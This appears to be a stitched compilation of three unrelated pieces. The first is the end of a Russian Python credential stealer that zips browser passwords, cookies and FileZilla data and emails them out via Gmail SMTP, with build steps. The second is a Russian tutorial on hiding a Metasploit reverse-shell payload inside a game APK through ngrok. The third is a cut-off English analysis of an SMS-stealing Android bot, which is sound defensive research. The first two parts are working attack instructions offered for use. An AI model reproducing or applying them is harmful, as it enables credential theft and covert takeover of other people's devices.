NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\chromium_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\amigo_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\amigo_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\opera_pass.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\opera_cookies.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\filezilla.txt')
NZ.write(r'C:\Users\' + getpass.getuser() + '\AppData\Roaming\sreenshot.jpg')
NZ.close() 
################################################################################
#                              DOC-НАШ ZIP                                     #
################################################################################
doc = 'C:\Users\' + getpass.getuser() + '\AppData\Local\Temp\LOG.zip'
################################################################################
#                              ОТПРАВКА                                        #
################################################################################
'↑Stealler by Andrew_Shipunov↑'.encode('utf-8')
msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8')
msg = MIMEMultipart()
msg['From'] = 'ваша новая почта@gmail.com'
msg['To'] = 'почта куда отправится'
msg['Subject'] = getpass.getuser() + '-PC'
msg.attach(msgtext)
################################################################################
#                              СОЗДАНИЕ ВЛОЖЕНИЯ                               #
################################################################################
part = MIMEBase('application', "zip")
b = open(doc, "rb").read()
bs = encodebytes(b).decode()
part.set_payload(bs)
part.add_header('Content-Transfer-Encoding', 'base64')
part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"')
msg.attach(part)
################################################################################
#                              ОТПРАВКА вам       #
################################################################################
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()                                   
s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил')
s.sendmail('новая ваша почта гмаил', 'почта куда отправится', msg.as_string())
s.quit()
i = input()

Вот что пришло.

Вот что в архиве.

В тхт Alldata.

Сборка.

Открываете cmd консоль и пишете cd и путь к папке где лежит ваш файл с кодом, ентер.
cd и путь к файлу.

Теперь pyinstaller —onefile название вашего файла.py, ентер.

Ссылки

m228228 — Пишите мне в вк если что-то не работает, у самого постоянно ошибки лезутXD.
@AndrewJess — или тут спрашивайте.

Создаём стиллер на Android

Darked

Всем здарова!

Совсем недавно мы узнали, как делать стиллер для ПК.

Сегодня мы будем делать стиллер для андроид на Kali Linux (тоже со смартфона).

Установка необходимых компонентов

Устанавливаем Kali Linux (https://www.kali.org/downloads/).

Далее установим Zipalign

apt-get install -y zipalign

Ещё нам понадобятся программы keytool и jarsigner, которые находятся в Java SDK. Утилиту Apktool можно скачать запустив этот файл (https://gist.github.com/bmaupin/48140926ce11fbeddec2). Также понадобятся предустановленные ngrok и Metasploit.

Сборка бекдора

Запускаем в отдельном окне ngrok 

tcp 4444

Полученные lhost и lport используем для создания пейлоада

-p android/meterpreter/reverse_tcp LHOST=<адресс lhost> LPORT=<значение lport>M> /home/kali/payload.apk

На выходе получаем apk файл. Его и файл игры, в которую будем вшивать вирус, нужно распаковать с помощью команд:

d game.apk 

apktool d payload.apk

Теперь остается преобразить загрузочный файл бекдора. Копируем папку metasploit по пути /payload/smali/com/ в /game/smali/com/. Теперь переходим в папку /game/smali/com/dotgears/game/ и открываем файл SplashScreen.smali. В нем находим метку «virtual methods» и после строки начинающейся на invoke-super, то есть на строку под номером 34, вставляем

 {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Теперь нужно обновить запрос разрешений при установке. Для этого переходим в папку payload и из файла AndroidManifest.xml копируем все теги uses-permission. Вставляем их в аналогичный файл AndroidManifest.xml в папке game, удалив при этом находящиеся там теги uses-permission. 

Компилируем отредактированный файл игры в apk

b game

Готовый файл нужно искать в game/dist/. Остается его подписать. Генерируем подпись коммандой

-genkey -V -keystore key.keystore -alias codered -keyalg RSA -keysize 2048 -validity 1000

Получаем файл key.keystore. Теперь сертифицируем наш apk

-verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore game.apk codered

Выравниваем подписанное приложение командой

-v 4 game.apk game_good.apk

Готово! Теперь можно захватывать сессию на целевом смартфоне отослав туда данный apk файл. Атакуемое устройство, в нашем случае, должно находиться в локальной сети с атакующим, поскольку мы изначально в целях демонстрации выбрали такие параметры в ngrok.

С вами был Darked!

This article was published on the 12th of December 2018. This article was updated on the 19th of March 2020, as well as on the 4th of November 2021.

In this article, a malicious SMS stealing Android application is analysed. The sample can be found on VirusBay, Malware Bazaar, or MalShare. Stealing SMS messages can be done for various reasons. One can obtain a lot of information regarding someone’s life or one can obtain two factor authentication (2FA) tokens from the victim’s phone to access well secured accounts.

Note that code excerpts are given with readable names as far as these are known in the current context. If the name of a variable can directly be derived from its type or context, it is renamed without being mentioned in this article. Decisions that cannot be explicitly derived are explained thoroughly.

Below, the technical information regarding the sample is given.

MD5: a1b5c184d447eaac1ed47bc5a0db4725

SHA-1: 98bb4315a5ee3f92a3275f08e45f7e35d9995cd2

SHA-256: c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139

Table of contents

  • Used tooling
  • Code analysis methodology
  • Decompiling the APK
  • The manifest
  • Source code analysis
  • Conclusion

Used tooling

The used tool to convert the APK into an Android Studio project is AndroidProjectCreator. Note that the decompilers are not always able to convert the SMALI bytecode into Java. It is therefore a good habit to convert the APK multiple times, using different decompilers.

Check all classes before starting the analysis since the names of the variables are still untouched at that point in time. If half of the sample has been refactored already, the newly added code might have been altered already in a previous stage where it wasn’t embedded within the project. An example of this is if a single function within a class does not correctly decompile whilst the rest is refactored. An example is given below.

private Context context;
 
/**
* This is the renamed function, which was previously named "q".
*/
public Context getContext() {
    return context;
}
 
/**
* This is the newly added function, which relies on the original instead of the refactored name.
*/
public String x() {
    return q.LAUNCHER_APPS_SERVICE;
}

Additionally, APKTool has been used to obtain the SMALI bytecode of a single class. The Java code was analysed and refactored using Android Studio.

Code analysis methodology

Before the analysis, there is little information known about the sample’s inner workings. To avoid spending time on code that is irrelevant to the goal of the research, one has to make the best possible estimated guesses. The AndroidManifest.xml provides information about the requested permissions, services, intent receivers, and broadcast receivers.

Regarding the code, the onCreate function within the Main Activity is the starting point of the application. As such, this is the starting point of the analysis.

After that, one can dive into the called methods, which most likely reside in multiple classes. Obfuscated code might not reveal what the code does at first glance, which is why a deep dive into the rabbit’s hole is required. From there, one can refactor the code upwards, as it becomes clear what the use of each function is.

Note that the analysis speed of this method is exponential. When little is known within the sample, each function takes a while. Since classes are reused in lots of different locations, the first part of the analysis is slow. Every part that is refactored lifts the fog in future classes, thus speeding the analysis of future classes.

Based on my own experience, two full working days of analysing are usually enough to refactor the whole sample. After the first day it feels like little was accomplished, whereas the second day provides all the missing pieces of the puzzle. Note that the stated time it takes to analyse is an estimate, and differs per sample and per person.

Decompiling the APK

At first, the manifest will be analysed. After that, the Java code will be analysed and refactored. In total, a complete overview of the bot will be given. Throughout the whole analysis, the how and why of the taken actions are explained. Do note that actions that were wrong are not included within this analysis, as to avoid confusion. Note that the package named android contains the default Android classes that are used within the application. As such, this package is out of scope.

The manifest

The manifest reveals a lot about the application, which is why it is analysed first. Below, the complete manifest is given.

<manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"
  xmlns:android="http://schemas.android.com/apk/res/android">
 
    <uses-sdk android:minSdkVersion="9" />
 
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
        <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
        <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
        <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <category android:name="android.intent.category.HOME" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
            <meta-data android:name="stopOnDeviceLock" android:value="false" />
            <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
            <meta-data android:name="preventRestart" android:value="true" />
            <intent-filter>
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.Ma">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>
</manifest>

As can be observed in the manifest, the requested permissions are:

  • CALL_PHONE
  • SEND_SMS
  • WRITE_SMS
  • READ_SMS
  • GET_TASKS
  • ACCESS_NETWORK_STATE
  • READ_PHONE_STATE
  • RECEIVE_SMS
  • WRITE_EXTERNAL_STORAGE
  • INTERNET
  • RECEIVE_BOOT_COMPLETED
  • READ_LOGS
  • READ_CONTACTS

Solemnly based on this information, the malware can call phone numbers and send text messages to phone numbers. Additionally, it can receive and read the text messages. The network state check is used to determine if internet is available on the phone, whereas the internet permission is required to interact with online services.

Both GET_TASKS and READ_LOGS require elevated privileges. This means that the application has to be either part of the firmware or it should be installed on the privileged partition. The READ_LOGS permission is required to read the logs of other applications on the device, whereas the GET_TASKS permission is required to obtain a list of recently executed tasks.

The main activity of the application is also defined in the manifest, as can be seen below.

<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

The android:name field contains the path of the class, in which a dot represents a new package. The value of android:label=”@string/app_name” is automatically displayed in Android Studio, but can also be found in the res/values/strings.xml file, as can be seen below.

<string name="app_name">Spy Mouse</string>

There is a class named Ac that is used whenever the device has been started, the screen turns on or the home button is pressed.

<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.SCREEN_ON" />
        <category android:name="android.intent.category.HOME" />
    </intent-filter>
</receiver>

The class which uses the device’s administrative permission is named Aa. The excerpt below is taken from the manifest as well.

<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
    <meta-data android:name="stopOnDeviceLock" android:value="false" />
    <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
    <meta-data android:name="preventRestart" android:value="true" />
    <intent-filter>
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

The last part of the manifest is used to capture the intent regarding a newly received SMS message, for which the class named Ma is responsible. The given priority allows this application to process the intent earlier than others, unless the priority of another application is even higher.

<receiver android:name="org.starsizew.Ma">
    <intent-filter android:priority="100">
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
</receiver>

Source code analysis

Analysing the source code requires an approach that is based on more than a hunch of the analyst. Basing all choices upon facts provides the best possible result.

The MainActivity

The onCreate function in the MainActivity starts a service, sets a repeating alarm and checks if the administrative permission is granted. Depending if the administrative permission is granted, the function q is executed. The decompiled source code is given below.

protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(2130903040);
    Context applicationContext = getApplicationContext();
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }
}

Function q
The function q launches an intent to add a new device administrator to group of administrators.

private void q() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
    startActivityForResult(intent, 100);
}

The class Aa is given below.

public class Aa extends DeviceAdminReceiver {
    public void onDisabled(Context context, Intent intent) {
        super.onDisabled(context, intent);
    }
 
    public void onEnabled(Context context, Intent intent) {
        super.onEnabled(context, intent);
    }
 
    public void onPasswordChanged(Context context, Intent intent) {
        super.onPasswordChanged(context, intent);
    }
}

This class is a wrapper around the DeviceAdminReceiver, which is why it can be refactored to DeviceAdminReceiverWrapper.

String decryption
Within the MainActivity class, there is a single global variable, named q, which is encrypted. Decrypting it can be done with the functions that are also named q, both of which require different parameters. The code is given below.

private static final String[] q = new String[]{q(q("-]aKu001f/Yxnu0010blU!!")), q(q("-Cuu0017u0011%I?u0004u000e<u0003tu001dn>L?"))};
 
private static String q(char[] cArr) {
    int length = cArr.length;
    for (int i = 0; length > i; i++) {
        int i2;
        char c = cArr[i];
        switch (i % 5) {
            case 0:
                i2 = 76;
                break;
            case 1:
                i2 = 45;
                break;
            case 2:
                i2 = 17;
                break;
            case 3:
                i2 = 101;
                break;
            default:
                i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
                break;
        }
        cArr[i] = (char) ((char) (i2 ^ c));
    }
    return new String(cArr).intern();
}
 
private static char[] q(String str) {
    char[] toCharArray = str.toCharArray();
    if (toCharArray.length < 2) {
        toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
    }
    return toCharArray;
}

Note that the value of TransportMediator.KEYCODE_MEDIA_PLAY equals 126. In Android Studio, this can be checked by using CTRL and clicking on the KEYCODE_MEDIA_PLAY enum value.

The string array can be decrypted by initialising the variable and printing the value. An IDE which can compile and execute Java code can perform the required actions. The decrypted values of the string array are given below, each new line is a different index within the array, starting at zero.

app.action.ADD_
android.app.extra.

Finding references

Within the onCreate function, certain functions require strings as a parameter. The DevicePolicyManager‘s function getSystemService requires a string which resembles the requested service’s name.

protected void onCreate(Bundle bundle){
    //[omitted]
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }
}

Upon inspecting the class named o, there are a lot of public strings which are encrypted. The full class is given below.

package org.starsizew;
 
public final class o {
    public static String E = new StringBuilder(q(q("}5u0005"))).append(f).append(q(q("C0"))).toString();
    public static String Q = (b + y + o + y + q(q("C1u00031hL")) + y + s);
    public static String R = q(q("ru001d$f"));
    public static String T = q(q("V;u001a="));
    public static String W = q(q("C>u0016*j"));
    public static int Y;
    public static String a = (b + q(q("f3u0007()G*u0003*f")));
    public static String b = q(q("C<u0013*hK6"));
    public static String c = q(q("R:u00186b"));
    public static String d = q(q("V7u001b"));
    public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
    public static String f = "";
    public static String g = q(q("u001bbG"));
    public static String h = q(q("Q?u0004"));
    public static String i = (b + y + o + y + q(q("C1u00031hL|u0002+tF|u00186")));
    public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}u00002u001bBku00042u001c"))).toString();
    public static String k = q(q("C0u0018*s"));
    public static String l = q(q("` u00189cA3u0004,"));
    public static String m = q(q("eu0017#"));
    public static String n = (p + q(q("}"u00184nA+")));
    public static String o = q(q("K<u0003=iV"));
    public static String p = q(q("F7u00011dG"));
    public static String q = (b + q(q("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + j);
    public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("Gr"))).toString();
    public static String s = q(q("au0013;u0014"));
    public static String t = new StringBuilder(q(q("M"u0012"))).append(f).append(q(q("P3"))).append(f).append(q(q("V=u0005"))).toString();
    public static String u = (T + q(q("}"u0012*")) + f + q(q("G:u0001")));
    public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}u00133u0015Nl"))).toString();
    public static String w = q(q("v7u000f,JG!u00049`G"));
    public static int x = 1;
    public static String y = ".";
    public static int z = 0;
 
    private static String q(char[] cArr) {
        int length = cArr.length;
        for (int i = 0; length > i; i++) {
            int i2;
            char c = cArr[i];
            switch (i % 5) {
                case 0:
                    i2 = 34;
                    break;
                case 1:
                    i2 = 82;
                    break;
                case 2:
                    i2 = 119;
                    break;
                case 3:
                    i2 = 88;
                    break;
                default:
                    i2 = 7;
                    break;
            }
            cArr[i] = (char) ((char) (i2 ^ c));
        }
        return new String(cArr).intern();
    }
 
    private static char[] q(String str) {
        char[] toCharArray = str.toCharArray();
        if (toCharArray.length < 2) {
            toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
        }
        return toCharArray;
    }
}

Upon decrypting all strings using the two given decryption functions (both named q) and refactoring the names based on the output, the variables make more sense, as can be seen below.

package org.starsizew;
 
public final class StringDatabase {
    public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
    public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL")) + dot + CALL);
    public static String POST = decryptCharArray(decryptString("ru001d$f"));
    public static String time = decryptCharArray(decryptString("V;u001a="));
    public static String alarm = decryptCharArray(decryptString("C>u0016*j"));
    public static int integerZero;
    public static String AndroidAppExtra = (android + decryptCharArray(decryptString("f3u0007()G*u0003*f")));
    public static String android = decryptCharArray(decryptString("C<u0013*hK6"));
    public static String phone = decryptCharArray(decryptString("R:u00186b"));
    public static String tel = decryptCharArray(decryptString("V7u001b"));
    public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
    public static String emptyString = "";
    public static String integer900 = decryptCharArray(decryptString("u001bbG"));
    public static String sms = decryptCharArray(decryptString("Q?u0004"));
    public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1u00031hL|u0002+tF|u00186")));
    public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}u00002u001bBku00042u001c"))).toString();
    public static String abort = decryptCharArray(decryptString("C0u0018*s"));
    public static String Broadcast = decryptCharArray(decryptString("` u00189cA3u0004,"));
    public static String GET = decryptCharArray(decryptString("eu0017#"));
    public static String device_policy = (device + decryptCharArray(decryptString("}"u00184nA+")));
    public static String intent = decryptCharArray(decryptString("K<u0003=iV"));
    public static String device = decryptCharArray(decryptString("F7u00011dG"));
    public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("f"u00057qK6u0012*)v7u001b=wJ=u0019!)")) + SMS_RECEIVED);
    public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("Gr"))).toString();
    public static String CALL = decryptCharArray(decryptString("au0013;u0014"));
    public static String operator = new StringBuilder(decryptCharArray(decryptString("M"u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=u0005"))).toString();
    public static String time_perehv = (time + decryptCharArray(decryptString("}"u0012*")) + emptyString + decryptCharArray(decryptString("G:u0001")));
    public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}u00133u0015Nl"))).toString();
    public static String TextMessage = decryptCharArray(decryptString("v7u000f,JG!u00049`G"));
    public static int integerTrue = 1;
    public static String dot = ".";
    public static int integerFalse = 0;
 
    //Decryption functions are omitted for brevity
}

The main service

The next class that is used within the onCreate function is called Tb. This class is started as a service, as can be seen below.

Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));

All three functions within the service are explained below. Note that the same encryption technique for strings is used as in the previously described classes. Starting from this class onward, the decryption will not be mentioned since the approach is the same in every class.

onCreate
The onCreate function contains a boolean named q, a SharedPreferences object named w and starts a new Thread using the class u. The code is given below.

public void onCreate() {
    super.onCreate();
    q = true;
    this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
    new Thread(new u(this)).start();
}

Boolean q is also used in the onDestroy function, where it is set to false instead of true. Therefore, this boolean is used to determine if the service is running or not. As such, it can be refactored using the name isActive.

The string which equals 2131099651 in decimal, can be found in res/public.xml and res/strings.xml. Note that the decimal value in the code is written in hexadecimal notation in the XML files. When converted to radix 16 (hexadecimal), the number equals 0x7F060003. The values in the XML files are given below.

[public.xml]
<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" />
 
[strings.xml]
<string name="PREFS_NAME">AppPrefs</string>

If the config file can be loaded, the bot has already been active before and the latest known configuration can be loaded.

The class which is used to start a new thread will be analysed later on.

onBind
This function is not implemented in the service, since it simply returns an exception. The code is given below.

public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException(stringError);
}

Note that the string stringError solemnly contains the string Error when it is decrypted, hence its name.

onDestroy
The boolean isActive has its new name since it was already altered during the analysis of the onCreate function. The intent it declares is used to start a service named Tb. This is the same service as is currently being analysed. In case the service would shut down, it automatically restarts itself. The code for this function is given below.

public void onDestroy() {
    super.onDestroy();
    isActive = false;
    Intent intent = new Intent(this, Tb.class);
    intent.setFlags(268435456); 
    startService(intent);
}

Note that 268435456 equals 0x10000000, which is the constant value for FLAG_ACTIVITY_NEW_TASK, as can be seen on the Android Developers website. Due to this flag, the service is started as a new task within the application.

The main service
The service can be renamed to MainService, as it is the main service within the bot, keeping itself functional and making sure all goes well within the bot.

u – the new thread

The new thread that is created within the onCreate function of the MainService class is given below.

package org.starsizew;
 
final class u implements Runnable {
    final Mainservice mainService;
 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }
 
    public final void run() {
        this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }
}

At first sight, Android Studio generates an error. This is due to a decompilation error in which two fields in the MainService class are set to private, whereas they should be public or protected. In the code below, the two fields are given and already made public.

public Handler r = new Handler();
public Runnable t = new w(this);

The new class u is now more readable, as can be seen below.

package org.starsizew;
 
final class u implements Runnable {
    final Mainservice mainService;
 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }
 
    public final void run() {
        this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }
}

The handler named r can be refactored to handler. The runnable cannot yet be renamed since the content of the w class is not yet known. To know what the class u does, one should know what the class w does. Note that the StringDatabase.integerFalse equals 0. The delay for the handler to start the runnable is equal to 0 zero miliseconds.

Class w

The class w is a runnable, meaning it is launched as a thread. The run method is started when the thread is started. Besides the decryption functions, there is nothing else present within this class. The class is given below.

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
        edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
        edit.putString(StringDatabase.inst, "1");
        edit.putLong(StringDatabase.time_perehv, 100);
        edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    }
    this.mainService.handler.postDelayed(this, (long) Constants.int50005);
    if (z) {
        StringDatabase.integerZero++;
    }
}

The class q in which the function a resides will be analysed later. The context of the function provides enough context for now.

This class serves as an example on how important it is to replace the strings from the string array named w. Doing so results in much cleaner code. The cleaned version is given below.

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains("one_inst")) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt("one_inst1");
        edit.putString("url", "http://37.1.207.31/api/?id=7");
        edit.putString("inst", "1");
        edit.putLong("time_perehv", 100);
        edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    }
    this.mainService.handler.postDelayed(this, 50005);
    if (z) {
        StringDatabase.integerZero++;
    }
}

Firstly, a check is made if the shared preferences file contains the key with the string one_inst in it. If this is false, the preference file is instantiated with the C&C url, the installation boolean, time_perehv, the ID, and the IMEI number of the device.

If the shared preference file contains the value one_inst, or after the shared preferences file is set, the class i is called using exactly the same parameters but one. The third parameter is either install or info. Before analysing i, class a will be analysed.

Class a

This class contains two functions which are both named q. Note that the string array and its decryption methods are omitted for brevity.

The first function requires a context object as argument: q(Context context). This function is straightforward in its functionality, as can be seen below.

static TelephonyManager q(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}

The system service phone is requested, which makes the functionality obvious. Additinoally, one can look at the type cast, which equals TelephonyManager. A quick refactor makes the code more readable, as can be seen below.

static TelephonyManager getTelephonyManager(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}

The second function requires two strings as parameters: q(String str, String str2). Additionally, the code uses reflection in order to invoke a method. The code is given below, in which the decrypted strings from the string array are already replaced.

public static boolean q(String str, String str2) {
    try {
        Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objArr = new Object[5];
        objArr[0] = str;
        objArr[2] = str2;
        method.invoke(invoke, objArr);
    } catch (Exception e) {
    }
    return false;
}

The invoked function is named sendTextMessage from the class android.telephony.SmsManager. A quick look on the Android Developers page of the SmsManager class provides the following information:

public void sendTextMessage (String destinationAddress, 
                String scAddress, 
                String text, 
                PendingIntent sentIntent, 
                PendingIntent deliveryIntent)

The variables str and str2 are the first and third argument of the method. The first argument is the destinationAddress and the third argument is text of the SMS. This function sends a text message to a given number with a given body. The refactored method is given below.

public static boolean sendSms(String destinationAddress, String text) {
    try {
        Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objectArray = new Object[5];
        objectArray[0] = destinationAddress;
        objectArray[2] = text;
        methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
    } catch (Exception e) {
    }
    return false;
}

This class wraps around the TelephonyManager, which is why it can be renamed to TelephonyManagerWrapper.

Class i

This class is an AsyncTask, meaning it runs in the background of the application. An AsyncTask life cycle has four stages:

  1. onPreExecute, which prepares anything within the class that is used later on.
  2. doInBackground, which is the main part of the task.
  3. onProgressUpdate, which is used to update the UI. This method is often left out in malware, since the task needs to remain hidden.
  4. onPostExecute, which is executed after the doInBackground function is finished.

The doInBackground method was properly decompiled, whereas the onPostExecute method failed to decompile using JAD-X, JD-CMD, Fernflower, CFR or Procyon with a JAR made by dex2jar. Using enjarify to generate the JAR yielded no different result. More on the onPostExecute function later.

doInBackground
The doInBackground function is given below. In order to fully understand what it does, class t needs to be analysed first.

protected final Object doInBackground(Object[] objArr) {
    Object obj = null;
    boolean z = true;
    boolean z2 = MainService.e;
    String str = ((String[]) objArr)[StringDatabase.integerFalse];
    t tVar = new t();
    this.e.add(new BasicNameValuePair("method", this.r));
    this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
    if (this.r.startsWith("install")) {
        String str2 = "POST";
        this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
